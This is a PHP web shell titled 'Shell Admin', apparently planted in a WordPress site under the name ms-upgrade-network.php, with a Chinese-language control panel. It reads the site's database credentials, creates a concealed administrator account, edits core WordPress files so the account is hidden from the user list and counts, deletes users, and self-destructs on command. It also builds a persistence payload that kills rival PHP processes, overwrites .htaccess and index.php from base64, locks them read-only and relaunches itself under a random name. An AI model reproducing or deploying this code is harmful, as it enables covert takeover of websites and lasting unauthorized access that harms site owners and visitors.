File: /home/krislash/public_html/ms-upgrade-network.php
<?php
//error_reporting(E_ALL);
ini_set('display_errors', '1');
ini_set('max_execution_time', '0');
$action = isset($_GET['action']) ? $_GET['action'] : '';
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '.';
$root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT']."/" : '';
$frequent = $shell = $trigger = '';
switch($action){
case 'add':
$title = '添加Wordpress管理员';
require __DIR__ . '/wp-config.php';
$con = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
/*if(mysqli_connect_errno($con)){
$content = 'Wordpress 数据库连接失败。'.mysqli_connect_error();
exit();
}*/
mysqli_query($con, "SET NAMES ".DB_CHARSET);
$user_name = isset($_POST['user_name']) ? $_POST['user_name'] : '';
$pwd = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$email = isset($_POST['email']) ? $_POST['email'] : '';
if($user_name != '' && $pwd != '' && $email != ''){
if(!function_exists('wp_hash_password')){
function wp_hash_password($password){
global $wp_hasher;
if(empty($wp_hasher)){
require_once ABSPATH . WPINC . '/class-phpass.php';
$wp_hasher = new PasswordHash( 8, true );
}
return $wp_hasher->HashPassword( trim( $password ) );
}
}
$user_id = 0;
$check = mysqli_query($con, "SELECT * FROM `".$table_prefix."users` WHERE `user_login` = '".addslashes($user_name)."' OR `user_email` = '".addslashes($email)."'");
if(mysqli_num_rows($check) > 0){
$content = '添加失败，该用户名或邮箱已被使用过;';
$row = mysqli_fetch_array($check, MYSQLI_ASSOC);
$user_id = $row['ID'];
}else{
$hash = wp_hash_password($pwd);
mysqli_query($con, "INSERT INTO `".$table_prefix."users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_registered`, `user_status`, `display_name`) VALUES ('".addslashes($user_name)."', '".addslashes($hash)."', '".addslashes($user_name)."', '".addslashes($email)."', '2020-06-14 00:00:00', 0, '".addslashes($user_name)."')");
$user_id = mysqli_insert_id($con);
if($user_id > 0){
$code = 'a:1:{s:13:"administrator";b:1;}';
mysqli_query($con, "INSERT INTO `".$table_prefix."usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (".$user_id.", 'nickname', '".addslashes($user_name)."'), (".$user_id.", 'first_name', ''), (".$user_id.", 'last_name', ''), (".$user_id.", 'description', ''), (".$user_id.", 'rich_editing', 'true'), (".$user_id.", 'syntax_highlighting', 'true'), (".$user_id.", 'comment_shortcuts', 'false'), (".$user_id.", 'admin_color', 'fresh'), (".$user_id.", 'use_ssl', 0), (".$user_id.", 'show_admin_bar_front', 'true'), (".$user_id.", 'locale', ''), (".$user_id.", '".$table_prefix."capabilities', '".$code."'), (".$user_id.", '".$table_prefix."user_level', 10)");
if(mysqli_insert_id($con) > 0){
$content = '<管理员> 添加成功;';
}else{
$content = '<管理员> 添加失败;';
}
}else{
$content = '<管理员> 添加失败;';
}
}
if($user_id > 0){
$code = '<style>#user-'.$user_id.'{display:none;}</style>';
$path = ABSPATH.'wp-admin/admin-header.php';
if(file_exists($path)){
$temp = file_get_contents($path);
if(strstr($temp, $code)){
$content .= '<br><隐藏管理员> 已添加过;';
}else{
if(strstr($temp, '<div id="wpbody')){
$fp = fopen($path, "wb");
fwrite($fp, str_replace('<div id="wpbody', $code.'<div id="wpbody', $temp));
fclose($fp);
$content .= '<br><隐藏管理员> 添加成功;';
}else{
$content .= '<br><隐藏管理员> 添加失败;';
}
}
}else{
$content .= '<br><隐藏管理员> 文件查找失败;';
}
$path = ABSPATH.'wp-admin/includes/class-wp-users-list-table.php';
if(file_exists($path)){
$temp = file_get_contents($path);
$status = 0;
if(strstr($temp, 'number_format_i18n( $total_users-1') && (strstr($temp, 'number_format_i18n( $avail_roles[ $this_role ]-1') || strstr($temp, 'number_format_i18n( $avail_roles[$this_role]-1')) ){
$content .= '<br><隐藏管理员> 代码已添加过;';
}else{
if(!strstr($temp, 'number_format_i18n( $total_users-1')){
$temp = str_replace('number_format_i18n( $total_users', 'number_format_i18n( $total_users-1', $temp);
}
if(!strstr($temp, 'number_format_i18n( $avail_roles[$this_role]-1')){
$temp = str_replace('number_format_i18n( $avail_roles[$this_role]', 'number_format_i18n( $avail_roles[$this_role]-1', $temp);
}
if(!strstr($temp, 'number_format_i18n( $avail_roles[ $this_role ]-1')){
$temp = str_replace('number_format_i18n( $avail_roles[ $this_role ]', 'number_format_i18n( $avail_roles[ $this_role ]-1', $temp);
}
$fp = fopen($path, "wb");
fwrite($fp, $temp);
fclose($fp);
$content .= '<br><隐藏管理员> 代码添加成功;';
}
}else{
$content .= '<br><隐藏管理员> 文件查找失败;';
}
}
}else{
$content = '添加失败，参数不足。';
}
break;
case 'check':
$title = '进程';
break;
case 'del':
$title = '自毁程序';
$status = unlink(__FILE__);
if($status){
$content = '自毁成功';
}else{
$content = '自毁失败';
}
break;
case 'delUser':
$title = '删除用户';
$id = isset($_GET['id']) ? $_GET['id'] : 0;
if($id > 0){
require __DIR__ . '/wp-config.php';
$con = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
mysqli_query($con, "SET NAMES ".DB_CHARSET);
mysqli_query($con, "DELETE FROM `".$table_prefix."users` WHERE `ID` = ".(int)$id);
mysqli_query($con, "DELETE FROM `".$table_prefix."usermeta` WHERE `user_id` = ".(int)$id);
$content = '删除成功';
}else{
$content = '删除失败';
}
break;
default:
$title = 'WP用户列表';
if(!file_exists($root.'wp-config.php') && $path == '.'){
$content = '<form action="?action=user" method="post" name="form"><div class="form-item"><label class="form-label">WP 路径</label><div class="input-block"><input type="text" class="form-input" placeholder="请输入正确的WordPress路径" name="path"></div></div><input type="submit" value="查看WP用户列表" class="submit"></div></div></form>';
}else{
if($path == '.'){
$path = $root;
}
$path = htmlspecialchars($path);
require __DIR__ . '/wp-config.php';
$con = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
/*if(mysqli_connect_errno($con)){
$content = 'Wordpress 数据库连接失败。'.mysqli_connect_error();
exit();
}*/
mysqli_query($con, "SET NAMES ".DB_CHARSET);
$sql = mysqli_query($con , "SELECT * FROM `".$table_prefix."users`");
$total = mysqli_num_rows($sql);
if($total > 0){
$content = '<form action="?action=add" method="post" name="form"><div class="form-item"><label class="form-label">WP路径</label><div class="input-block"><input type="text" class="form-input" value="'.$path.'" name="path"></div></div><div class="form-item"><label class="form-label">用户名</label><div class="input-block"><input type="text" class="form-input" value="Support" name="user_name"></div></div><div class="form-item"><label class="form-label">密码</label><div class="input-block"><input type="text" class="form-input" value="WpcTl20240903" name="pwd"></div></div><div class="form-item"><label class="form-label">邮箱</label><div class="input-block"><input type="text" class="form-input" value="support@wordpress.org" name="email"></div></div><input type="submit" value="添加新管理员" class="submit"></div></div></form><br>';
$content .= '<table cellspacing="0" cellpadding="0" border="0" class="table"><thead><tr><td>ID</td><td>用户名</td><td>邮箱</td><td>昵称</td><td>最近一次登陆</td><td>注册时间</td><td>操作</td></tr></thead><tbody>';
while($row = mysqli_fetch_array($sql, MYSQLI_ASSOC)){
$last_time = '-';
$sql2 = mysqli_query($con, "SELECT `meta_value` FROM `".$table_prefix."usermeta` WHERE `meta_key` = 'session_tokens' AND `user_id` = ".$row['ID']);
if(mysqli_num_rows($sql2) > 0){
$row2 = mysqli_fetch_array($sql2, MYSQLI_ASSOC);
$temp = explode('login', $row2['meta_value']);
$temp = str_replace(array(':', 'i', '}', ';', '"', '"'), '', $temp[count($temp)-1]);
$last_time = date("Y-m-d H:m:s", trim($temp));
}
$content .= '<tr><td>'.$row['ID'].'</td><td>'.$row['user_login'].'</td><td>'.$row['user_email'].'</td><td>'.$row['user_nicename'].'</td><td>'.$last_time.'</td><td>'.$row['user_registered'].'</td><td><a href="?action=delUser&id='.$row['ID'].'">删除</a></td></tr>';
}
$content .= '</tbody></table>';
}
mysqli_close($con);
}
}?><!doctype html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<title>Shell Admin Design by index.php</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
body{font-size:16px;color:#000;font-sans-serif: system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";}a{text-decoration:none;}*{padding:0;margin:0;list-style:none;}.fa{padding-right:10px;}.submit{background-color:#1e9fff;vertical-align:middle;
height: 38px;line-height: 38px;text-align:center;padding:0 18px;color:#FFF;border-radius:5px;cursor: pointer;}.border-none{border:none !important;}
#sidebarMenu{position:fixed;left:0;top:0;z-index:999;color:#fff;background-color:RGBA(33,37,41,var(--bs-bg-opacity,1));width:210px;padding:15px;height:100vh;}
#logo{color:#FFF;border-bottom:1px solid #888;padding-bottom:10px;width:100%;display:block;}
#logo span{font-size:24px;margin-left:10px;line-height:34px;vertical-align:middle;}
.nav{padding-top:10px;}
.nav-item{display:list-item;line-height:42px;}
.nav-item span{background-color:#0d6efd;border-radius:5px;display:block;padding-left:15px;}
.nav-item span a{color:#FFF;text-decoration:none;}
.nav-link{display:list-item;line-height:32px;padding:5px 0 5px 15px;color:#FFF;}
.nav-link:hover,.active{color:#ccffcc;font-weight:bold;}
main{position:absolute;left:240px;vertical-align:top;padding:20px;right:0;}
fieldset{display: block;margin-inline-start: 2px;margin-inline-end: 2px;padding-block-start: 0.35em;padding-inline-start: 0.75em;padding-inline-end: 0.75em;padding-block-end: 0.625em;min-inline-size: min-content;border-width: 2px;border-style: groove;border-color: rgb(192, 192, 192);border-image: initial;}
legend{display:block;padding-inline-start: 2px;padding-inline-end: 2px;border-width: initial;border-style: none;border-color: initial;border-image: initial;margin-left: 20px;
padding:0 10px;font-size:20px;font-weight:300;}
.field-title{margin:27px 0 20px;border-width:0;border-top-width:1px;}
.table{border-collapse:collapse;border-spacing:0;overflow:scroll;width:100%;}
.table td{word-break:break-all;max-width:300px;background-color:#FFF;}
.table th, .table td{border: 1px solid #ddd;padding:8px;}
.table tbody > tr:hover{background-color:#ccffcc;}
.table tbody > tr:hover td{background:none;}
.form-item{margin-bottom:15px;clear:both;border:1px solid #eee;}
.form-label{position:relative;float:left;display:block;padding:9px 15px;width:80px;font-weight:400;line-height:20px;text-align:right;background-color:#fafafa;}
.form-text .form-label{float: none;width: 100%;border-radius: 2px;box-sizing: border-box;text-align: left;}
.input-block{position:relative;margin-left:110px;min-height:36px;}
.form-text .input-block{margin: 0;left: 0;top: -1px;}
.form-input{display:block;padding-left:10px;width:50%;height:38px;line-height:1.3;line-height:38px\9;border:none;}
.form-text .form-textarea{position:relative;width: 90%;min-height: 100px;height:auto;line-height:20px;border-radius: 0 0 2px 2px;padding: 6px 10px;resize: vertical;border: none;}
.form-radio{margin:12px 0 0 12px;}
</style>
<script type="text/javascript">
function sa(form){ for(var i = 0;i < form.elements.length;i++){var e = form.elements[i];if(e.type == 'checkbox'){if(e.name != 'chkall'){e.checked = form.chkall.checked;}}}}
function del(){if(confirm("Are you sure?")){return true;}else{return false;}}
</script>
</head>
<body>
<nav id="sidebarMenu">
<a href="/" id="logo">
<span><i class="fa fa-drupal"></i>Shell Admin</span>
</a>
<ul class="nav">
<li class="nav-item">
<span><i class="fa fa-wordpress"></i>Wordpress</span>
<ul class="nav-toggle">
<li><a href="?action=" class="nav-link<?php if(@$action == '') echo ' active';?>">用户列表</a></li>
</ul>
</li>
<li class="nav-item">
<span><i class="fa fa-search"></i>击杀敌方输出</span>
<ul class="nav-toggle">
<li><a href="?action=check" class="nav-link<?php if(@$action == 'check') echo ' active';?>">查看进程</a></li>
<li><a href="?action=crontab" class="nav-link<?php if(@$action == 'crontab') echo ' active';?>">查看计划任务</a></li>
</ul>
</li>
<li class="nav-item">
<span><i class="fa fa-shield"></i>保护我方输出</span>
<ul class="nav-toggle">
<li><a href="?action=lock" class="nav-link<?php if(@$action == 'lock') echo ' active';?>">锁文件夹权限</a></li>
</ul>
</li>
<li class="nav-item"><span><i class="fa fa-trash-o"></i><a href="?action=del">自毁程序</a></span></li>
</ul>
</nav>
<main>
<div class="container">
<fieldset class="field-title">
<legend><?php echo $title;?></legend>
</fieldset>
<?php echo $content;?>
</div>
</main>
</body>
</html>
<?php
function is_wp($path){
$i = 0;
$file = array('wp-config.php','wp-login.php','wp-includes/version.php','wp-content/index.php','wp-admin/admin.php');
foreach($file as $v){
if(file_exists($path.$v)){
$i++;
}
}
if($i==5){
return 1;
}else{
return 0;
}
}
function get($url){
$result = '';
if(ini_get('allow_url_fopen')){
$result = file_get_contents($url);
}else{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
}
return $result;
}
function create_code($path, $htaccess, $index){
$code = '<?php error_reporting(0);ignore_user_abort;exec("ps -ef",$out,$return);if(is_array($out)){for($i=1;$i<count($out);$i++){$temp=explode(" ", $out[$i]);if(strstr($temp[count($temp)-1], ".php") && !strstr($temp[count($temp)-1], "lsphp")){$x = explode("/", $temp[count($temp)-1]);if(strlen($x[count($x)-1])!=9){for($j=1;$j<count($temp);$j++){if(is_numeric($temp[$j])){$kill[]=$temp[$j];break;}}}}}}foreach($kill as $v){exec("kill -9 ".$v,$out,$return);}sleep(3);$path="'.$path.'";$htaccess=base64_decode("'.base64_encode($htaccess).'",true);if(!file_exists($path.".htaccess")){@file_put_contents($path.".htaccess",$htaccess);}else{$temp=@file_get_contents($path.".htaccess");if(md5($temp)!=md5($htaccess)){@unlink($path.".htaccess");@file_put_contents($path.".htaccess",$htaccess);}}@chmod($path.".htaccess", 0444);$index=base64_decode("'.base64_encode($index).'",true);if(!file_exists($path."index.php")){@file_put_contents($path."index.php", $index);}else{$temp=@file_get_contents($path."index.php");if(md5($temp)!=md5($index)){@unlink($path."index.php");@file_put_contents($path."index.php",$index);}}@chmod($path."index.php",0444);$l12=array("1","2","3","4","5","6","7","8","9","0","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m");for($i=1;$i<rand(6,6);$i++){$e14=rand(0,count($l12)-1);$o15.=$l12[$e14];}$q16 = basename(__FILE__, ".php").".php";$c9 = file_get_contents($q16);$u17 = fopen($o15.".php", "w");fwrite($u17, $c9);fclose($u17);exec("php -f".__DIR__."/$o15.php > /dev/null 2>/dev/null &", $e18);@unlink("$q16");?>';
return $code;
}
?>